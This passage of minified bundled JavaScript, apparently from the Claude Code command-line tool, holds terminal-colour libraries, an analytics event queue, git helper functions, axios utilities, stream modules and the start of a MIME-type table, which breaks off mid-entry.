qt6=k(()=>{OJ={modifier:{reset:[0,0],bold:[1,22],dim:[2,22],italic:[3,23],underline:[4,24],overline:[53,55],inverse:[7,27],hidden:[8,28],strikethrough:[9,29]},color:{black:[30,39],red:[31,39],green:[32,39],yellow:[33,39],blue:[34,39],magenta:[35,39],cyan:[36,39],white:[37,39],blackBright:[90,39],gray:[90,39],grey:[90,39],redBright:[91,39],greenBright:[92,39],yellowBright:[93,39],blueBright:[94,39],magentaBright:[95,39],cyanBright:[96,39],whiteBright:[97,39]},bgColor:{bgBlack:[40,49],bgRed:[41,49],bgGreen:[42,49],bgYellow:[43,49],bgBlue:[44,49],bgMagenta:[45,49],bgCyan:[46,49],bgWhite:[47,49],bgBlackBright:[100,49],bgGray:[100,49],bgGrey:[100,49],bgRedBright:[101,49],bgGreenBright:[102,49],bgYellowBright:[103,49],bgBlueBright:[104,49],bgMagentaBright:[105,49],bgCyanBright:[106,49],bgWhiteBright:[107,49]}},o$z=Object.keys(OJ.modifier),QtK=Object.keys(OJ.color),UtK=Object.keys(OJ.bgColor),a$z=[...QtK,...UtK];dtK=ptK(),kR=dtK});import Cy1 from"node:process";import ctK from"node:os";import Yt6 from"node:tty";function TE(A,K=globalThis.Deno?globalThis.Deno.args:Cy1.argv){let q=A.startsWith("-")?"":A.length===1?"-":"--",Y=K.indexOf(q+A),z=K.indexOf("--");return Y!==-1&&(z===-1||Y<z)}function ltK(){if("FORCE_COLOR"in BO){if(BO.FORCE_COLOR==="true")return 1;if(BO.FORCE_COLOR==="false")return 0;return BO.FORCE_COLOR.length===0?1:Math.min(Number.parseInt(BO.FORCE_COLOR,10),3)}}function itK(A){if(A===0)return!1;return{level:A,hasBasic:!0,has256:A>=2,has16m:A>=3}}function ntK(A,{streamIsTTY:K,sniffFlags:q=!0}={}){let Y=ltK();if(Y!==void 0)CrA=Y;let z=q?CrA:Y;if(z===0)return 0;if(q){if(TE("color=16m")||TE("color=full")||TE("color=truecolor"))return 3;if(TE("color=256"))return 2}if("TF_BUILD"in BO&&"AGENT_NAME"in BO)return 1;if(A&&!K&&z===void 0)return 0;let w=z||0;if(BO.TERM==="dumb")return w;if(Cy1.platform==="win32"){let H=ctK.release().split(".");if(Number(H[0])>=10&&Number(H[2])>=10586)return Number(H[2])>=14931?3:2;return 1}if("CI"in BO){if(["GITHUB_ACTIONS","GITEA_ACTIONS","CIRCLECI"].some((H)=>(H in BO)))return 3;if(["TRAVIS","APPVEYOR","GITLAB_CI","BUILDKITE","DRONE"].some((H)=>(H in BO))||BO.CI_NAME==="codeship")return 1;return w}if("TEAMCITY_VERSION"in BO)return/^(9\.(0*[1-9]\d*)\.|\d{2,}\.)/.test(BO.TEAMCITY_VERSION)?1:0;if(BO.COLORTERM==="truecolor")return 3;if(BO.TERM==="xterm-kitty")return 3;if("TERM_PROGRAM"in BO){let H=Number.parseInt((BO.TERM_PROGRAM_VERSION||"").split(".")[0],10);switch(BO.TERM_PROGRAM){case"iTerm.app":return H>=3?3:2;case"Apple_Terminal":return 2}}if(/-256(color)?$/i.test(BO.TERM))return 2;if(/^screen|^xterm|^vt100|^vt220|^rxvt|color|ansi|cygwin|linux/i.test(BO.TERM))return 1;if("COLORTERM"in BO)return 1;return w}function zt6(A,K={}){let q=ntK(A,{streamIsTTY:A&&A.isTTY,...K});return itK(q)}var BO,CrA,rtK,wt6;var Ht6=k(()=>{({env:BO}=Cy1);if(TE("no-color")||TE("no-colors")||TE("color=false")||TE("color=never"))CrA=0;else if(TE("color")||TE("colors")||TE("color=true")||TE("color=always"))CrA=1;rtK={stdout:zt6({isTTY:Yt6.isatty(1)}),stderr:zt6({isTTY:Yt6.isatty(2)})},wt6=rtK});function Jt6(A,K,q){let Y=A.indexOf(K);if(Y===-1)return A;let z=K.length,w=0,H="";do H+=A.slice(w,Y)+K+q,w=Y+z,Y=A.indexOf(K,w);while(Y!==-1);return H+=A.slice(w),H}function Ot6(A,K,q,Y){let z=0,w="";do{let H=A[Y-1]==="\r";w+=A.slice(z,H?Y-1:Y)+K+(H?`\r `:` `)+q,z=Y+1,Y=A.indexOf(` `,z)}while(Y!==-1);return w+=A.slice(z),w}class Iy1{constructor(A){return Gt6(A)}}function cNA(A){return Gt6(A)}var Xt6,$t6,Ly1,IzA,dNA,_t6,SzA,otK=(A,K={})=>{if(K.level&&!(Number.isInteger(K.level)&&K.level>=0&&K.level<=3))throw Error("The `level` option should be an integer from 0 to 3");let q=Xt6?Xt6.level:0;A.level=K.level===void 0?q:K.level},Gt6=(A)=>{let K=(...q)=>q.join(" ");return otK(K,A),Object.setPrototypeOf(K,cNA.prototype),K},Ry1=(A,K,q,...Y)=>{if(A==="rgb"){if(K==="ansi16m")return kR[q].ansi16m(...Y);if(K==="ansi256")return kR[q].ansi256(kR.rgbToAnsi256(...Y));return kR[q].ansi(kR.rgbToAnsi(...Y))}if(A==="hex")return Ry1("rgb",K,q,...kR.hexToRgb(...Y));return kR[q][A](...Y)},atK,stK,yy1=(A,K,q)=>{let Y,z;if(q===void 0)Y=A,z=K;else Y=q.openAll+A,z=K+q.closeAll;return{open:A,close:K,openAll:Y,closeAll:z,parent:q}},LrA=(A,K,q)=>{let Y=(...z)=>ttK(Y,z.length===1?""+z[0]:z.join(" "));return Object.setPrototypeOf(Y,stK),Y[Ly1]=A,Y[IzA]=K,Y[dNA]=q,Y},ttK=(A,K)=>{if(A.level<=0||!K)return A[dNA]?"":K;let q=A[IzA];if(q===void 0)return K;let{openAll:Y,closeAll:z}=q;if(K.includes("\x1B"))while(q!==void 0)K=Jt6(K,q.close,q.open),q=q.parent;let w=K.indexOf(` `);if(w!==-1)K=Ot6(K,z,Y,w);return Y+K+z},etK,H_z,O1;var u5=k(()=>{qt6();Ht6();({stdout:Xt6,stderr:$t6}=wt6),Ly1=Symbol("GENERATOR"),IzA=Symbol("STYLER"),dNA=Symbol("IS_EMPTY"),_t6=["ansi","ansi","ansi256","ansi16m"],SzA=Object.create(null);Object.setPrototypeOf(cNA.prototype,Function.prototype);for(let[A,K]of Object.entries(kR))SzA[A]={get(){let q=LrA(this,yy1(K.open,K.close,this[IzA]),this[dNA]);return Object.defineProperty(this,A,{value:q}),q}};SzA.visible={get(){let A=LrA(this,this[IzA],!0);return Object.defineProperty(this,"visible",{value:A}),A}};atK=["rgb","hex","ansi256"];for(let A of atK){SzA[A]={get(){let{level:q}=this;return function(...Y){let z=yy1(Ry1(A,_t6[q],"color",...Y),kR.color.close,this[IzA]);return LrA(this,z,this[dNA])}}};let K="bg"+A[0].toUpperCase()+A.slice(1);SzA[K]={get(){let{level:q}=this;return function(...Y){let z=yy1(Ry1(A,_t6[q],"bgColor",...Y),kR.bgColor.close,this[IzA]);return LrA(this,z,this[dNA])}}}}stK=Object.defineProperties(()=>{},{...SzA,level:{enumerable:!0,get(){return this[Ly1].level},set(A){this[Ly1].level=A}}});Object.defineProperties(cNA.prototype,SzA);etK=cNA(),H_z=cNA({level:$t6?$t6.level:0}),O1=etK});function Zt6(A){if(Cl!==null)throw Error("Analytics sink already attached - cannot attach more than once");if(Cl=A,lNA.length>0){let K=[...lNA];lNA.length=0,queueMicrotask(()=>{for(let q of K)if(q.async)Cl.logEventAsync(q.eventName,q.metadata);else Cl.logEvent(q.eventName,q.metadata)})}}function n(A,K){if(Cl===null){lNA.push({eventName:A,metadata:K,async:!1});return}Cl.logEvent(A,K)}async function Ll(A,K){if(Cl===null){lNA.push({eventName:A,metadata:K,async:!0});return}await Cl.logEventAsync(A,K)}var lNA,Cl=null;var l1=k(()=>{lNA=[]});import{dirname as Wt6}from"path";function v8(A,K,q={}){let Y=AeK();if(!Y)return;let z={timestamp:new Date().toISOString(),level:A,event:K,data:q},w=BA();if(!w.existsSync(Wt6(Y)))w.mkdirSync(Wt6(Y));w.appendFileSync(Y,UA(z)+` `)}function AeK(){return process.env.CLAUDE_CODE_DIAGNOSTICS_FILE}var dj=k(()=>{e6();b1()});import{createHash as KeK}from"crypto";import{realpathSync as D_z,statSync as Dt6,readFileSync as j_z}from"fs";import{resolve as qeK,dirname as YeK,join as jt6,sep as Sy1}from"path";async function Mt6(A){let{stdout:K,code:q}=await A7("git",["rev-parse","--git-dir"],{cwd:A,preserveOutputOnError:!1});return q===0?K.trim():null}function weK(A){let K=A.trim();if(!K)return null;let q=K.match(/^git@([^:]+):(.+?)(?:\.git)?$/);if(q&&q[1]&&q[2])return`${q[1]}/${q[2]}`.toLowerCase();let Y=K.match(/^(?:https?|ssh):\/\/(?:[^@]+@)?([^/]+)\/(.+?)(?:\.git)?$/);if(Y&&Y[1]&&Y[2]){let z=Y[1],w=Y[2];if(JeK(z)&&w.startsWith("git/"))return`github.com/${w.slice(4)}`.toLowerCase();return`${z}/${w}`.toLowerCase()}return null}async function yrA(){let A=await RrA();if(!A)return null;let K=weK(A);if(!K)return null;return KeK("sha256").update(K).digest("hex").substring(0,16)}async function HeK(){let A=await vE(),{stdout:K,code:q}=await R6("git",["rev-list","--count",`${A}..HEAD`]);if(q!==0)return null;return parseInt(K.trim(),10)||0}async function ch(A){let K=Date.now(),{stdout:q,code:Y}=await A7("git",["worktree","list","--porcelain"],{cwd:A,preserveOutputOnError:!1}),z=Date.now()-K;if(Y!==0)return n("tengu_worktree_detection",{duration_ms:z,worktree_count:0,success:!1}),[];let w=q.split(` `).filter((O)=>O.startsWith("worktree ")).map((O)=>O.slice(9));n("tengu_worktree_detection",{duration_ms:z,worktree_count:w.length,success:!0});let H=w.find((O)=>A===O||A.startsWith(O+Sy1)),J=w.filter((O)=>O!==H).sort((O,X)=>O.localeCompare(X));return H?[H,...J]:J}async function by1(){try{let[A,K,q,Y,z,w]=await Promise.all([zeK(),bN(),RrA(),Vt6(),_1A(),iNA()]);return{commitHash:A,branchName:K,remoteUrl:q,isHeadOnRemote:Y,isClean:z,worktreeCount:w}}catch(A){return null}}function JeK(A){let K=A.split(":")[0]??"";return K==="localhost"||/^127\.\d{1,3}\.\d{1,3}\.\d{1,3}$/.test(K)}var Rl,AD,Pt6=async(A)=>{let{code:K}=await A7("git",["rev-parse","--is-inside-work-tree"],{preserveOutputOnError:!1,cwd:A});return K===0},zeK=async()=>{let{stdout:A}=await R6("git",["rev-parse","HEAD"]);return A.trim()},bN=async()=>{let{stdout:A}=await R6("git",["rev-parse","--abbrev-ref","HEAD"],{preserveOutputOnError:!1});return A.trim()},vE=async()=>{let{stdout:A,code:K}=await R6("git",["symbolic-ref","refs/remotes/origin/HEAD"],{preserveOutputOnError:!1});if(K===0){let z=A.trim().match(/refs\/remotes\/origin\/(.+)/);if(z&&z[1])return z[1]}let{stdout:q,code:Y}=await R6("git",["branch","-r"],{preserveOutputOnError:!1});if(Y===0){let z=q.trim().split(` `).map((w)=>w.trim());for(let w of["main","master"])if(z.some((H)=>H.includes(`origin/${w}`)))return w}return"main"},RrA=async()=>{let{stdout:A,code:K}=await R6("git",["remote","get-url","origin"],{preserveOutputOnError:!1});return K===0?A.trim():null},Vt6=async()=>{let{code:A}=await R6("git",["rev-parse","@{u}"],{preserveOutputOnError:!1});return A===0},_1A=async(A)=>{let K=["status","--porcelain"];if(A?.ignoreUntracked)K.push("-uno");let{stdout:q}=await R6("git",K,{preserveOutputOnError:!1});return q.trim().length===0},ft6=async()=>{let A=await Vt6(),K=await HeK();if(!A)return{hasUpstream:!1,needsPush:!0,commitsAhead:0,commitsAheadOfDefaultBranch:K};let{stdout:q,code:Y}=await R6("git",["rev-list","--count","@{u}..HEAD"],{preserveOutputOnError:!1});if(Y!==0)return{hasUpstream:!0,needsPush:!1,commitsAhead:0,commitsAheadOfDefaultBranch:K};let z=parseInt(q.trim(),10)||0;return{hasUpstream:!0,needsPush:z>0,commitsAhead:z,commitsAheadOfDefaultBranch:K}},IrA=async()=>{let[A,K]=await Promise.all([_1A(),ft6()]);return{hasUncommitted:!A,hasUnpushed:K.needsPush,commitsAheadOfDefaultBranch:K.commitsAheadOfDefaultBranch}},SrA=async(A,K)=>{if(!await _1A()){K?.("committing");let{code:O,stderr:X}=await R6("git",["add","-A"],{preserveOutputOnError:!0});if(O!==0)return{success:!1,error:`Failed to stage changes: ${X}`};let{code:$,stderr:_}=await R6("git",["commit","-m",A],{preserveOutputOnError:!0});if($!==0)return{success:!1,error:`Failed to commit: ${_}`}}K?.("pushing");let Y=await ft6(),z=await bN(),w=Y.hasUpstream?["push"]:["push","-u","origin",z],{code:H,stderr:J}=await R6("git",w,{preserveOutputOnError:!0});if(H!==0)return{success:!1,error:`Failed to push: ${J}`};return{success:!0}},hy1=async()=>{let{stdout:A}=await R6("git",["status","--porcelain"],{preserveOutputOnError:!1}),K=[],q=[];return A.trim().split(` `).filter((Y)=>Y.length>0).forEach((Y)=>{let z=Y.substring(0,2),w=Y.substring(2).trim();if(z==="??")q.push(w);else if(w)K.push(w)}),{tracked:K,untracked:q}},iNA=async()=>{try{let{stdout:A,code:K}=await R6("git",["worktree","list"],{preserveOutputOnError:!1});if(K!==0)return 0;return A.trim().split(` `).length}catch(A){return 0}},Nt6=async(A)=>{try{let K=A||`Claude Code auto-stash - ${new Date().toISOString()}`,{untracked:q}=await hy1();if(q.length>0){let{code:z}=await R6("git",["add",...q],{preserveOutputOnError:!1});if(z!==0)return!1}let{code:Y}=await R6("git",["stash","push","--message",K],{preserveOutputOnError:!1});return Y===0}catch(K){return!1}};var Jw=k(()=>{p7();CK();Z1();y4();l1();dj();C1();Rl=z6((A)=>{let K=Date.now();v8("info","find_git_root_started");let q=qeK(A),Y=q.substring(0,q.indexOf(Sy1)+1)||Sy1,z=0;while(q!==Y){try{let H=jt6(q,".git");z++;let J=Dt6(H);if(J.isDirectory()||J.isFile())return v8("info","find_git_root_completed",{duration_ms:Date.now()-K,stat_count:z,found:!0}),q}catch{}let w=YeK(q);if(w===q)break;q=w}try{let w=jt6(Y,".git");z++;let H=Dt6(w);if(H.isDirectory()||H.isFile())return v8("info","find_git_root_completed",{duration_ms:Date.now()-K,stat_count:z,found:!0}),Y}catch{}return v8("info","find_git_root_completed",{duration_ms:Date.now()-K,stat_count:z,found:!1}),null}),AD=z6(async()=>{let A=Date.now();v8("info","is_git_check_started");let{code:K}=await R6("git",["rev-parse","--is-inside-work-tree"]);return v8("info","is_git_check_completed",{duration_ms:Date.now()-A,is_git:K===0}),K===0})});function nNA(A,K){return function(){return A.apply(K,arguments)}}function XeK(A){return A!==null&&!rNA(A)&&A.constructor!==null&&!rNA(A.constructor)&&xN(A.constructor.isBuffer)&&A.constructor.isBuffer(A)}function $eK(A){let K;if(typeof ArrayBuffer<"u"&&ArrayBuffer.isView)K=ArrayBuffer.isView(A);else K=A&&A.buffer&&vt6(A.buffer);return K}function oNA(A,K,{allOwnKeys:q=!1}={}){if(A===null||typeof A>"u")return;let Y,z;if(typeof A!=="object")A=[A];if(hzA(A))for(Y=0,z=A.length;Y<z;Y++)K.call(null,A[Y],Y,A);else{let w=q?Object.getOwnPropertyNames(A):Object.keys(A),H=w.length,J;for(Y=0;Y<H;Y++)J=w[Y],K.call(null,A[J],J,A)}}function kt6(A,K){K=K.toLowerCase();let q=Object.keys(A),Y=q.length,z;while(Y-- >0)if(z=q[Y],K===z.toLowerCase())return z;return null}function xy1(){let{caseless:A}=Ct6(this)&&this||{},K={},q=(Y,z)=>{let w=A&&kt6(K,z)||z;if(hrA(K[w])&&hrA(Y))K[w]=xy1(K[w],Y);else if(hrA(Y))K[w]=xy1({},Y);else if(hzA(Y))K[w]=Y.slice();else K[w]=Y};for(let Y=0,z=arguments.length;Y<z;Y++)arguments[Y]&&oNA(arguments[Y],q);return K}function UeK(A){return!!(A&&xN(A.append)&&A[Symbol.toStringTag]==="FormData"&&A[Symbol.iterator])}var OeK,uy1,brA,CR=(A)=>{return A=A.toLowerCase(),(K)=>brA(K)===A},xrA=(A)=>(K)=>typeof K===A,hzA,rNA,vt6,_eK,xN,Et6,urA=(A)=>A!==null&&typeof A==="object",GeK=(A)=>A===!0||A===!1,hrA=(A)=>{if(brA(A)!=="object")return!1;let K=uy1(A);return(K===null||K===Object.prototype||Object.getPrototypeOf(K)===null)&&!(Symbol.toStringTag in A)&&!(Symbol.iterator in A)},ZeK,WeK,DeK,jeK,MeK=(A)=>urA(A)&&xN(A.pipe),PeK=(A)=>{let K;return A&&(typeof FormData==="function"&&A instanceof FormData||xN(A.append)&&((K=brA(A))==="formdata"||K==="object"&&xN(A.toString)&&A.toString()==="[object FormData]"))},VeK,feK,NeK,TeK,veK,EeK=(A)=>A.trim?A.trim():A.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,""),G1A,Ct6=(A)=>!rNA(A)&&A!==G1A,keK=(A,K,q,{allOwnKeys:Y}={})=>{return oNA(K,(z,w)=>{if(q&&xN(z))A[w]=nNA(z,q);else A[w]=z},{allOwnKeys:Y}),A},CeK=(A)=>{if(A.charCodeAt(0)===65279)A=A.slice(1);return A},LeK=(A,K,q,Y)=>{A.prototype=Object.create(K.prototype,Y),A.prototype.constructor=A,Object.defineProperty(A,"super",{value:K.prototype}),q&&Object.assign(A.prototype,q)},ReK=(A,K,q,Y)=>{let z,w,H,J={};if(K=K||{},A==null)return K;do{z=Object.getOwnPropertyNames(A),w=z.length;while(w-- >0)if(H=z[w],(!Y||Y(H,A,K))&&!J[H])K[H]=A[H],J[H]=!0;A=q!==!1&&uy1(A)}while(A&&(!q||q(A,K))&&A!==Object.prototype);return K},yeK=(A,K,q)=>{if(A=String(A),q===void 0||q>A.length)q=A.length;q-=K.length;let Y=A.indexOf(K,q);return Y!==-1&&Y===q},IeK=(A)=>{if(!A)return null;if(hzA(A))return A;let K=A.length;if(!Et6(K))return null;let q=Array(K);while(K-- >0)q[K]=A[K];return q},SeK,heK=(A,K)=>{let Y=(A&&A[Symbol.iterator]).call(A),z;while((z=Y.next())&&!z.done){let w=z.value;K.call(A,w[0],w[1])}},beK=(A,K)=>{let q,Y=[];while((q=A.exec(K))!==null)Y.push(q);return Y},xeK,ueK=(A)=>{return A.toLowerCase().replace(/[-_\s]([a-z\d])(\w*)/g,function(q,Y,z){return Y.toUpperCase()+z})},Tt6,BeK,Lt6=(A,K)=>{let q=Object.getOwnPropertyDescriptors(A),Y={};oNA(q,(z,w)=>{let H;if((H=K(z,w,A))!==!1)Y[w]=H||z}),Object.defineProperties(A,Y)},meK=(A)=>{Lt6(A,(K,q)=>{if(xN(A)&&["arguments","caller","callee"].indexOf(q)!==-1)return!1;let Y=A[q];if(!xN(Y))return;if(K.enumerable=!1,"writable"in K){K.writable=!1;return}if(!K.set)K.set=()=>{throw Error("Can not rewrite read-only method '"+q+"'")}})},geK=(A,K)=>{let q={},Y=(z)=>{z.forEach((w)=>{q[w]=!0})};return hzA(A)?Y(A):Y(String(A).split(K)),q},FeK=()=>{},QeK=(A,K)=>{return A!=null&&Number.isFinite(A=+A)?A:K},peK=(A)=>{let K=[,,,,,,,,,,],q=(Y,z)=>{if(urA(Y)){if(K.indexOf(Y)>=0)return;if(!("toJSON"in Y)){K[z]=Y;let w=hzA(Y)?[]:{};return oNA(Y,(H,J)=>{let O=q(H,z+1);!rNA(O)&&(w[J]=O)}),K[z]=void 0,w}}return Y};return q(A,0)},deK,ceK=(A)=>A&&(urA(A)||xN(A))&&xN(A.then)&&xN(A.catch),Rt6,leK,i1;var Ow=k(()=>{({toString:OeK}=Object.prototype),{getPrototypeOf:uy1}=Object,brA=((A)=>(K)=>{let q=OeK.call(K);return A[q]||(A[q]=q.slice(8,-1).toLowerCase())})(Object.create(null)),{isArray:hzA}=Array,rNA=xrA("undefined");vt6=CR("ArrayBuffer");_eK=xrA("string"),xN=xrA("function"),Et6=xrA("number"),ZeK=CR("Date"),WeK=CR("File"),DeK=CR("Blob"),jeK=CR("FileList"),VeK=CR("URLSearchParams"),[feK,NeK,TeK,veK]=["ReadableStream","Request","Response","Headers"].map(CR);G1A=(()=>{if(typeof globalThis<"u")return globalThis;return typeof self<"u"?self:typeof window<"u"?window:global})();SeK=((A)=>{return(K)=>{return A&&K instanceof A}})(typeof Uint8Array<"u"&&uy1(Uint8Array)),xeK=CR("HTMLFormElement"),Tt6=(({hasOwnProperty:A})=>(K,q)=>A.call(K,q))(Object.prototype),BeK=CR("RegExp");deK=CR("AsyncFunction"),Rt6=((A,K)=>{if(A)return setImmediate;return K?((q,Y)=>{return G1A.addEventListener("message",({source:z,data:w})=>{if(z===G1A&&w===q)Y.length&&Y.shift()()},!1),(z)=>{Y.push(z),G1A.postMessage(q,"*")}})(`axios@${Math.random()}`,[]):(q)=>setTimeout(q)})(typeof setImmediate==="function",xN(G1A.postMessage)),leK=typeof queueMicrotask<"u"?queueMicrotask.bind(G1A):typeof process<"u"&&process.nextTick||Rt6,i1={isArray:hzA,isArrayBuffer:vt6,isBuffer:XeK,isFormData:PeK,isArrayBufferView:$eK,isString:_eK,isNumber:Et6,isBoolean:GeK,isObject:urA,isPlainObject:hrA,isReadableStream:feK,isRequest:NeK,isResponse:TeK,isHeaders:veK,isUndefined:rNA,isDate:ZeK,isFile:WeK,isBlob:DeK,isRegExp:BeK,isFunction:xN,isStream:MeK,isURLSearchParams:VeK,isTypedArray:SeK,isFileList:jeK,forEach:oNA,merge:xy1,extend:keK,trim:EeK,stripBOM:CeK,inherits:LeK,toFlatObject:ReK,kindOf:brA,kindOfTest:CR,endsWith:yeK,toArray:IeK,forEachEntry:heK,matchAll:beK,isHTMLForm:xeK,hasOwnProperty:Tt6,hasOwnProp:Tt6,reduceDescriptors:Lt6,freezeMethods:meK,toObjectSet:geK,toCamelCase:ueK,noop:FeK,toFiniteNumber:QeK,findKey:kt6,global:G1A,isContextDefined:Ct6,isSpecCompliantForm:UeK,toJSONObject:peK,isAsyncFn:deK,isThenable:ceK,setImmediate:Rt6,asap:leK}});function bzA(A,K,q,Y,z){if(Error.call(this),Error.captureStackTrace)Error.captureStackTrace(this,this.constructor);else this.stack=Error().stack;if(this.message=A,this.name="AxiosError",K&&(this.code=K),q&&(this.config=q),Y&&(this.request=Y),z)this.response=z,this.status=z.status?z.status:null}var yt6,It6,a4;var uN=k(()=>{Ow();i1.inherits(bzA,Error,{toJSON:function(){return{message:this.message,name:this.name,description:this.description,number:this.number,fileName:this.fileName,lineNumber:this.lineNumber,columnNumber:this.columnNumber,stack:this.stack,config:i1.toJSONObject(this.config),code:this.code,status:this.status}}});yt6=bzA.prototype,It6={};["ERR_BAD_OPTION_VALUE","ERR_BAD_OPTION","ECONNABORTED","ETIMEDOUT","ERR_NETWORK","ERR_FR_TOO_MANY_REDIRECTS","ERR_DEPRECATED","ERR_BAD_RESPONSE","ERR_BAD_REQUEST","ERR_CANCELED","ERR_NOT_SUPPORT","ERR_INVALID_URL"].forEach((A)=>{It6[A]={value:A}});Object.defineProperties(bzA,It6);Object.defineProperty(yt6,"isAxiosError",{value:!0});bzA.from=(A,K,q,Y,z,w)=>{let H=Object.create(yt6);return i1.toFlatObject(A,H,function(O){return O!==Error.prototype},(J)=>{return J!=="isAxiosError"}),bzA.call(H,A.message,K,q,Y,z),H.cause=A,H.name=A.name,w&&Object.assign(H,w),H};a4=bzA});var bt6=v((S_z,ht6)=>{var St6=CA("stream").Stream,ieK=CA("util");ht6.exports=LR;function LR(){this.source=null,this.dataSize=0,this.maxDataSize=1048576,this.pauseStream=!0,this._maxDataSizeExceeded=!1,this._released=!1,this._bufferedEvents=[]}ieK.inherits(LR,St6);LR.create=function(A,K){var q=new this;K=K||{};for(var Y in K)q[Y]=K[Y];q.source=A;var z=A.emit;if(A.emit=function(){return q._handleEmit(arguments),z.apply(A,arguments)},A.on("error",function(){}),q.pauseStream)A.pause();return q};Object.defineProperty(LR.prototype,"readable",{configurable:!0,enumerable:!0,get:function(){return this.source.readable}});LR.prototype.setEncoding=function(){return this.source.setEncoding.apply(this.source,arguments)};LR.prototype.resume=function(){if(!this._released)this.release();this.source.resume()};LR.prototype.pause=function(){this.source.pause()};LR.prototype.release=function(){this._released=!0,this._bufferedEvents.forEach(function(A){this.emit.apply(this,A)}.bind(this)),this._bufferedEvents=[]};LR.prototype.pipe=function(){var A=St6.prototype.pipe.apply(this,arguments);return this.resume(),A};LR.prototype._handleEmit=function(A){if(this._released){this.emit.apply(this,A);return}if(A[0]==="data")this.dataSize+=A[1].length,this._checkIfMaxDataSizeExceeded();this._bufferedEvents.push(A)};LR.prototype._checkIfMaxDataSizeExceeded=function(){if(this._maxDataSizeExceeded)return;if(this.dataSize<=this.maxDataSize)return;this._maxDataSizeExceeded=!0;var A="DelayedStream#maxDataSize of "+this.maxDataSize+" bytes exceeded.";this.emit("error",Error(A))}});var mt6=v((h_z,Bt6)=>{var neK=CA("util"),ut6=CA("stream").Stream,xt6=bt6();Bt6.exports=mO;function mO(){this.writable=!1,this.readable=!0,this.dataSize=0,this.maxDataSize=2097152,this.pauseStreams=!0,this._released=!1,this._streams=[],this._currentStream=null,this._insideLoop=!1,this._pendingNext=!1}neK.inherits(mO,ut6);mO.create=function(A){var K=new this;A=A||{};for(var q in A)K[q]=A[q];return K};mO.isStreamLike=function(A){return typeof A!=="function"&&typeof A!=="string"&&typeof A!=="boolean"&&typeof A!=="number"&&!Buffer.isBuffer(A)};mO.prototype.append=function(A){var K=mO.isStreamLike(A);if(K){if(!(A instanceof xt6)){var q=xt6.create(A,{maxDataSize:1/0,pauseStream:this.pauseStreams});A.on("data",this._checkDataSize.bind(this)),A=q}if(this._handleErrors(A),this.pauseStreams)A.pause()}return this._streams.push(A),this};mO.prototype.pipe=function(A,K){return ut6.prototype.pipe.call(this,A,K),this.resume(),A};mO.prototype._getNext=function(){if(this._currentStream=null,this._insideLoop){this._pendingNext=!0;return}this._insideLoop=!0;try{do this._pendingNext=!1,this._realGetNext();while(this._pendingNext)}finally{this._insideLoop=!1}};mO.prototype._realGetNext=function(){var A=this._streams.shift();if(typeof A>"u"){this.end();return}if(typeof A!=="function"){this._pipeNext(A);return}var K=A;K(function(q){var Y=mO.isStreamLike(q);if(Y)q.on("data",this._checkDataSize.bind(this)),this._handleErrors(q);this._pipeNext(q)}.bind(this))};mO.prototype._pipeNext=function(A){this._currentStream=A;var K=mO.isStreamLike(A);if(K){A.on("end",this._getNext.bind(this)),A.pipe(this,{end:!1});return}var q=A;this.write(q),this._getNext()};mO.prototype._handleErrors=function(A){var K=this;A.on("error",function(q){K._emitError(q)})};mO.prototype.write=function(A){this.emit("data",A)};mO.prototype.pause=function(){if(!this.pauseStreams)return;if(this.pauseStreams&&this._currentStream&&typeof this._currentStream.pause=="function")this._currentStream.pause();this.emit("pause")};mO.prototype.resume=function(){if(!this._released)this._released=!0,this.writable=!0,this._getNext();if(this.pauseStreams&&this._currentStream&&typeof this._currentStream.resume=="function")this._currentStream.resume();this.emit("resume")};mO.prototype.end=function(){this._reset(),this.emit("end")};mO.prototype.destroy=function(){this._reset(),this.emit("close")};mO.prototype._reset=function(){this.writable=!1,this._streams=[],this._currentStream=null};mO.prototype._checkDataSize=function(){if(this._updateDataSize(),this.dataSize<=this.maxDataSize)return;var A="DelayedStream#maxDataSize of "+this.maxDataSize+" bytes exceeded.";this._emitError(Error(A))};mO.prototype._updateDataSize=function(){this.dataSize=0;var A=this;if(this._streams.forEach(function(K){if(!K.dataSize)return;A.dataSize+=K.dataSize}),this._currentStream&&this._currentStream.dataSize)this.dataSize+=this._currentStream.dataSize};mO.prototype._emitError=function(A){this._reset(),this.emit("error",A)}});var gt6=v((b_z,reK)=>{reK.exports={"application/1d-interleaved-parityfec":{source:"iana"},"application/3gpdash-qoe-report+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/3gpp-ims+xml":{source:"iana",compressible:!0},"application/3gpphal+json":{source:"iana",compressible:!0},"application/3gpphalforms+json":{source:"iana",compressible:!0},"application/a2l":{source:"iana"},"application/ace+cbor":{source:"iana"},"application/activemessage":{source:"iana"},"application/activity+json":{source:"iana",compressible:!0},"application/alto-costmap+json":{source:"iana",compressible:!0},"application/alto-costmapfilter+json":{source:"iana",compressible:!0},"application/alto-directory+json":{source:"iana",compressible:!0},"application/alto-endpointcost+json":{source:"iana",compressible:!0},"application/alto-endpointcostparams+json":{source:"iana",compressible:!0},"application/alto-endpointprop+json":{source:"iana",compressible:!0},"application/alto-endpointpropparams+json":{source:"iana",compressible:!0},"application/alto-error+json":{source:"iana",compressible:!0},"application/alto-networkmap+json":{source:"iana",compressible:!0},"application/alto-networkmapfilter+json":{source:"iana",compressible:!0},"application/alto-updatestreamcontrol+json":{source:"iana",compressible:!0},"application/alto-updatestreamparams+json":{source:"iana",compressible:!0},"application/aml":{source:"iana"},"application/andrew-inset":{source:"iana",extensions:["ez"]},"application/applefile":{source:"iana"},"application/applixware":{source:"apache",extensions:["aw"]},"application/at+jwt":{source:"iana"},"application/atf":{source:"iana"},"application/atfx":{source:"iana"},"application/atom+xml":{source:"iana",compressible:!0,extensions:["atom"]},"application/atomcat+xml":{source:"iana",compressible:!0,extensions:["atomcat"]},"application/atomdeleted+xml":{source:"iana",compressible:!0,extensions:["atomdeleted"]},"application/atomicmail":{source:"iana"},"application/atomsvc+xml":{source:"iana",compressible:!0,extensions:["atomsvc"]},"application/atsc-dwd+xml":{source:"iana",compressible:!0,extensions:["dwd"]},"application/atsc-dynamic-event-message":{source:"iana"},"application/atsc-held+xml":{source:"iana",compressible:!0,extensions:["held"]},"application/atsc-rdt+json":{source:"iana",compressible:!0},"application/atsc-rsat+xml":{source:"iana",compressible:!0,extensions:["rsat"]},"application/atxml":{source:"iana"},"application/auth-policy+xml":{source:"iana",compressible:!0},"application/bacnet-xdd+zip":{source:"iana",compressible:!1},"application/batch-smtp":{source:"iana"},"application/bdoc":{compressible:!1,extensions:["bdoc"]},"application/beep+xml":{source:"iana